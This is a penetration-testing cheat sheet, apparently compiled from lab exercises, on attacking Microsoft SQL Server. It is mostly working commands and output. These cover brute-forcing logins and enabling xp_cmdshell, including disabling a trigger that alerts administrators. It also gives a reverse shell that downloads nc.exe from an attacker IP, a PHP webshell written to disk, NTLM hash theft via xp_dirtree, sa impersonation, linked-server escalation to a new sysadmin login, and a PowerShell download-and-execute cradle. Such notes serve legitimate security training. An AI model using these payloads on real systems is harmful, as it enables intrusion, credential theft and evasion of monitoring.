MSSQL (1433)

MSSQL supports two authentication modes, which means that users can be created in Windows or the SQL Server:

Authentication Type

Description

Windows authentication mode

This is the default, often referred to as integrated security because the SQL Server security model is tightly integrated with Windows/Active Directory. Specific Windows user and group accounts are trusted to log in to SQL Server. Windows users who have already been authenticated do not have to present additional credentials.

Mixed mode

Mixed mode supports authentication by Windows/Active Directory accounts and SQL Server. Username and password pairs are maintained within SQL Server.

Metasploit

MSSQLMetasploit Documentation Penetration Testing Software, Pen Testing Security

MSSQL for Pentester: MetasploitHacking Articles

msf6 auxiliary(scanner/mssql/mssql_ping) > set rhosts 10.129.201.248

rhosts => 10.129.201.248


msf6 auxiliary(scanner/mssql/mssql_ping) > run

[*] 10.129.201.248:       - SQL Server information for 10.129.201.248:
[+] 10.129.201.248:       -    ServerName      = SQL-01
[+] 10.129.201.248:       -    InstanceName    = MSSQLSERVER
[+] 10.129.201.248:       -    IsClustered     = No
[+] 10.129.201.248:       -    Version         = 15.0.2000.5
[+] 10.129.201.248:       -    tcp             = 1433
[+] 10.129.201.248:       -    np              = \\SQL-01\pipe\sql\query
[*] 10.129.201.248:       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Brute Force

Hydra

 hydra -L user.txt –P pass.txt [IP] mssql

Medusa

medusa -h [IP] –U user.txt –P pass.txt –M mssql

Metasploit

use auxiliary/scanner/mssql/mssql_login
msf auxiliary(scanner/mssql/mssql_login) > set rhosts [IP]
msf auxiliary(scanner/mssql/mssql_login) > set user_file user.txt
msf auxiliary(scanner/mssql/mssql_login) > set pass_file pass.txt
msf auxiliary(scanner/mssql/mssql_login) > set stop_on_success true
msf auxiliary(scanner/mssql/mssql_login) > run

Nmap

nmap -p 1433 –script ms-sql-brute –script-args userdb=user.txt,passdb=pass.txt [IP]

NXC

RID brute forcing

MSSQL coercion

Abuse trusted links

SharpSQLPwn

GitHub - lefayjey/SharpSQLPwn: C# tool to identify and exploit weaknesses within MSSQL instances in Active Directory environmentsGitHub

pySQLRecon

GitHub - Tw1sm/PySQLRecon: Offensive MSSQL toolkit written in Python, based off SQLReconGitHub

MSSQL Databases

Default System Database

Description

master

Tracks all system information for an SQL server instance

model

Template database that acts as a structure for every new database created. Any setting changed in the model database will be reflected in any new database created after changes to the model database

msdb

The SQL Server Agent uses this database to schedule jobs & alerts

tempdb

Stores temporary objects

resource

Read-only database containing system objects included with SQL server

Nmap

sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.201.248

Unicode Collation

:~$ curl -i "http://localhost:5055/login" -X POST -d "email=💩&password=foo"
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 26 Nov 2024 02:56:43 GMT
Server: Kestrel
Transfer-Encoding: chunked

"Logged in user ID 9"

Tales From The Crypt: Microsoft Unicode Collation Oddities Leading to Software VulnerabilitiesPulse Security

Automated Exploitation

GitHub - dadevel/mssql-spider: Automated exploitation of MSSQL servers at scaleGitHub

Linux

Mssqlclient.py

$ mssqlclient.py -p 1433 julio@10.129.203.7 

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password: MyPassword!

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (120 7208) 
[!] Press help for extra shell commands
SQL>

python3 mssqlclient.py Administrator@10.129.201.248 -windows-auth

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL-01): Line 1: Changed database context to 'master'.
[*] INFO(SQL-01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands

SQL> select name from sys.databases

name                                                                                                                               

--------------------------------------------------------------------------------------

master                                                                                                                             

tempdb                                                                                                                             

model                                                                                                                              

msdb                                                                                                                               

Transactions

When using Windows Authentication, we need to specify the domain name or the hostname of the target machine. If we don't specify a domain or hostname, it will assume SQL Authentication and authenticate against the users created in the SQL Server. Instead, if we define the domain or hostname, it will use Windows Authentication. If we are targetting a local account, we can use SERVERNAME\\accountname or .\\accountname.

0xss0rz@htb[/htb]$ mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands

sqsh

sqsh -S 10.129.20.13 -U username -P Password123

$ sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h

sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1>

Windows / Linux

SQLCMD

C:\htb> sqlcmd -S 10.129.20.13 -U username -P Password123

1> SELECT name FROM master.dbo.sysdatabases
2> GO

name
--------------------------------------------------
master
tempdb
model
msdb
htbusers

GUI - Dbeaver

Releases · dbeaver/dbeaverGitHub

sudo snap install dbeaver-ce

Ref: https://dbeaver.io/download/

Commands

SQL (ILF-SQL-01\backdoor  dbo@master)> select name from sys.databases
name        
---------   
master      

tempdb      

model       

msdb        

Employees   

SQL (ILF-SQL-01\backdoor  dbo@master)> USE Employees
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: Employees
[*] INFO(ILF-SQL-01): Line 1: Changed database context to 'Employees'.
SQL (ILF-SQL-01\backdoor  dbo@Employees)> select * from employees.INFORMATION_SCHEMA.TABLES;
TABLE_CATALOG   TABLE_SCHEMA   TABLE_NAME             TABLE_TYPE   
-------------   ------------   --------------------   ----------   
Employees       dbo            employee_information   b'BASE TABLE'   

SQL (ILF-SQL-01\backdoor  dbo@Employees)> SELECT * FROM dbo.employee_information;
employee_id   first_name   last_name     home_address               country   phone_number      ssn              job_title                 start_date       salary   
-----------   ----------   -----------   ------------------------   -------   ---------------   --------------   -----------------------   ----------   ----------   
        1.0   b'Emma'      b'Williams'   b'111 street drive lane'   b'US'     b'111-123-1115'   b'123-22-1111'   b'HR Director'            2020-01-11   4294967296000000000   

[REDACTED]
SQL (ILF-SQL-01\backdoor  dbo@Employees)>

XP_CMDSHELL - command execution

1> xp_cmdshell 'whoami'
2> GO

output
-----------------------------
no service\mssql$sqlexpress
NULL
(2 rows affected)

Enable xp_cmdshell

If xp_cmdshell is not enabled, we can enable it, if we have the appropriate privileges, using the following command:

-- To allow advanced options to be changed.  
EXECUTE sp_configure 'show advanced options', 1
GO

-- To update the currently configured value for advanced options.  
RECONFIGURE
GO  

-- To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1
GO  

-- To update the currently configured value for this feature.  
RECONFIGURE
GO

With mssqlclient.py

Note: We don't actually have to type RECONFIGURE as Impacket does this for us.

SQL> enable_xp_cmdshell

[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

If The transaction ended in the trigger disable trigger

SQL (hacker  dbo@flag)> enable_xp_cmdshell
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[-] ERROR(COMPATIBILITY\POO_PUBLIC): Line 11: Attempt to enable xp_cmdshell detected. Database Administrators will be notified!
[-] ERROR(COMPATIBILITY\POO_PUBLIC): Line 181: The transaction ended in the trigger. The batch has been aborted.

SQL (hacker  dbo@flag)> select name from sys.server_triggers;
name                
-----------------   
ALERT_xp_cmdshell   

SQL (hacker  dbo@flag)> disable trigger ALERT_xp_cmdshell on all server
SQL (hacker  dbo@flag)> enable_xp_cmdshell
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.

xp_cmdshell whoami /priv
output                                                                             

--------------------------------------------------------------------------------   

NULL                                                                               

PRIVILEGES INFORMATION                                                             

----------------------                                                             

NULL                                                                               

Privilege Name                Description                               State      

============================= ========================================= ========   

SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled   

SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled   

SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled    

SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled    

SeImpersonatePrivilege        Impersonate a client after authentication Enabled    

SeCreateGlobalPrivilege       Create global objects                     Enabled    

SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled   

NULL

Reverse shell

xp_cmdshell "powershell.exe wget http://10.10.14.3/nc.exe -OutFile c:\\Users\Public\\nc.exe"

xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 10.10.14.3 4444"

References

pentesting.academypentesting.academy

MSSQL for Pentester: Command Execution with xp_cmdshellHacking Articles

Write files

To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file:

1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO

Create a file:

1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO

Read local files

1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO

BulkColumn

-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should

(1 rows affected)

mssqlclient

SQL (INLANEFREIGHT\damundsen  dbo@master)> SELECT * FROM OPENROWSET (BULK 'C:\Users\damundsen\Desktop\flag.txt.', SINGLE_CLOB) as correlation_name;

Steal MSSQL Service Hash

First start Responder or impacket-smbserver and execute one of the following SQL queries:

Responder.py --interface "tun0"

1> EXEC master..xp_dirtree '\\10.10.110.17\share\'
2> GO

subdirectory    depth
--------------- -----------

1> EXEC master..xp_subdirs '\\10.10.110.17\share\'
2> GO

HResult 0x55F6, Level 16, State 1
xp_subdirs could not access '\\10.10.110.17\share\*.*': FindFirstFile() returned error 5, 'Access is denied.'

Cracking - Hashes

Hashes

hashcat -m 5600 mssqlsvc_hash passwords.list

Metasploit

Enum:

msf6 auxiliary(admin/mssql/mssql_enum)

set database master

msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

Do not use "set SMBPROXY tun0"

Use IP: set SMBPROXY 10.10.14.9

Write Up HTB - Escape:

HTB: ESCAPEMedium

Or Zephyr:

Impersonate Existing Users

Identify Users that We Can Impersonate

1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO

name
-----------------------------------------------
sa
ben
valentin

(3 rows affected)

With mssqlclient.py:

SQL (WIN-HARD\Fiona  guest@master)> SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
name    
-----   
john    

simon

To get an idea of privilege escalation possibilities, let's verify if our current user has the sysadmin role:

Verifying our Current User and Role

1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go

-----------
julio                                                                                                                    

(1 rows affected)

-----------
          0

(1 rows affected)

As the returned value 0 indicates, we do not have the sysadmin role, but we can impersonate the sa user.

Impersonating the SA User

1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO

-----------
sa

(1 rows affected)

-----------
          1

(1 rows affected)

Note: It's recommended to run EXECUTE AS LOGIN within the master DB, because all users, by default, have access to that database. If a user you are trying to impersonate doesn't have access to the DB you are connecting to it will present an error. Try to move to the master DB using USE master

mssqlclient.py:

SQL (WIN-HARD\Fiona  guest@master)> execute as login = 'john'
SQL (john  guest@master)> select system_user
       
----   
john

Communicate with Other Databases with MSSQL - Linked servers

Identify linked Servers in MSSQL

1> SELECT srvname, isremote FROM sysservers
2> GO

srvname                             isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS          1
10.0.0.12\SQLEXPRESS                0

(2 rows affected)

1 means is a remote server, and 0 is a linked server.

The EXECUTE statement can be used to send pass-through commands to linked servers. We add our command between parenthesis and specify the linked server between square brackets ([ ]).

1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO

------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS     Microsoft SQL Server 2019 (RTM sa_remote                                1

(1 rows affected)

If we need to use quotes in our query to the linked server, we need to use single double quotes to escape the single quote. To run multiples commands at once we can divide them up with a semi colon (;).

Exfiltrate file content:

SQL (john  guest@master)> SELECT srvname, isremote FROM sysservers
srvname                 isremote   
---------------------   --------   
WINSRV02\SQLEXPRESS            1   

LOCAL.TEST.LINKED.SRV          0   

SQL (john  guest@master)>  EXEC [LOCAL.TEST.LINKED.SRV].master.dbo.sp_configure 'show advanced options', 1;
[*] INFO(WIN-HARD\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (john  guest@master)> EXEC ('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV];
SQL (john  guest@master)> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [LOCAL.TEST.LINKED.SRV]
                
-   -   -   -   
1   1   1   1  

SQL (john  guest@master)> EXECUTE('EXEC sp_configure ''show advanced options'', 1;') AT [LOCAL.TEST.LINKED.SRV]
[*] INFO(WIN-HARD\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.


SQL (john  guest@master)> EXECUTE('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV]

SQL (john  guest@master)> EXECUTE('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LOCAL.TEST.LINKED.SRV]
[*] INFO(WIN-HARD\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (john  guest@master)> EXECUTE('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV]
SQL (john  guest@master)> 

SQL (john  guest@master)> EXECUTE('xp_cmdshell "type C:\Users\Administrator\Desktop\flag.txt >c:\users\fiona\desktop\x.txt"') AT [LOCAL.TEST.LINKED.SRV]
output   
------   
NULL

Create new user

SQL (external_user  dbo@POO_PUBLIC)> SELECT srvname, isremote FROM sysservers
srvname                    isremote   
------------------------   --------   
COMPATIBILITY\POO_PUBLIC          1   

COMPATIBILITY\POO_CONFIG          0

SQL (external_user  dbo@POO_PUBLIC)> EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG"
SQL (external_user  dbo@POO_PUBLIC)> EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG"
SQL (external_user  dbo@POO_PUBLIC)>

# mssqlclient.py -p 1433 hacker@10.13.38.11

With PowerUpSQL

GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL ServerGitHub

Enumeration

Discovery (SPN Scanning)

Get-SQLInstanceDomain

Check accessibility

Get-SQLConnectionTestThreaded

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

Gather information

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Search Database Links

Get-SQLServerLink -Instance mssql-instance-name -Verbose

or manually

select * from master..sysservers

select * from openquery("db-sql",'select * from master..sysservers')

Enumerating Database Links

Get-SQLServerLinkCrawl -Instance mssql-instance-name -Verbose

or manually

select * from openquery("db-sql1",'select * from openquery("db-sql2","select * from master..sysservers")')

select * fromopenquery("192.168.23.25 ",'select * from openquery("db-sqlsrv",''select @@version as version'')')

Executing commands

Option 1: xp_cmdshell is enabled on the target server

Option 2: if rpcout is enabled, xp_cmdshell can be enabled using EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "target-sql"

Without -QueryTarget, the command tries to us xp_cmdshell on every link of the chain

Get-SQLServerLinkCrawl -Instance mssql-instance-name -Query "exec master..xp_cmdshell 'whoami'" -QueryTarget mssql-target

or manually

SELECT * FROM OPENQUERY("db-sql1", 'SELECT * FROM OPENQUERY("db-sql2", ''SELECT * FROM OPENQUERY("mssql.domain.local", ''''SELECT @@VERSION AS version; EXEC master..xp_cmdshell "powershell whoami"'''')'')')

select * fromopenquery("192.168.23.25",'select * from openquery("db-sqlsrv",''select @@version as version;exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''''http://192.168.100.X/Invoke-PowerShellTcp.ps1'''')"'')')

sp_execute_external_script

SQL (hacker  dbo@flag)> EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("whoami");';
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script: 
compatibility\poo_public01

Tools

Automated Exploitation

GitHub - dadevel/mssql-spider: Automated exploitation of MSSQL servers at scaleGitHub

SQLRecon

GitHub - skahwah/SQLRecon: A C# MS SQL toolkit designed for offensive reconnaissance and post-exploitation.GitHub

# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami

# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami

# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami

# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami

# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases

# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019

MSQLPwner

GitHub - ScorpionesLabs/MSSqlPwnerGitHub

Resources

Page not found - HackTricksbook.hacktricks.xyz

MSSQL for Pentester: MetasploitHacking Articles

MSSQL · GitBookotterhacker.github.io

Interesting Books

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The Art of Network Penetration Testing A guide to simulating an internal security breach. You’ll take on the role of the attacker and work through every stage of a professional pentest, from information gathering to seizing control of a system and owning the network.
Network Basics for Hackers The book offers one of the most complete and in-depth analyses of Wi-Fi and Bluetooth networks, then progresses through the various protocols such as DNS, ARP, SMTP, and others.

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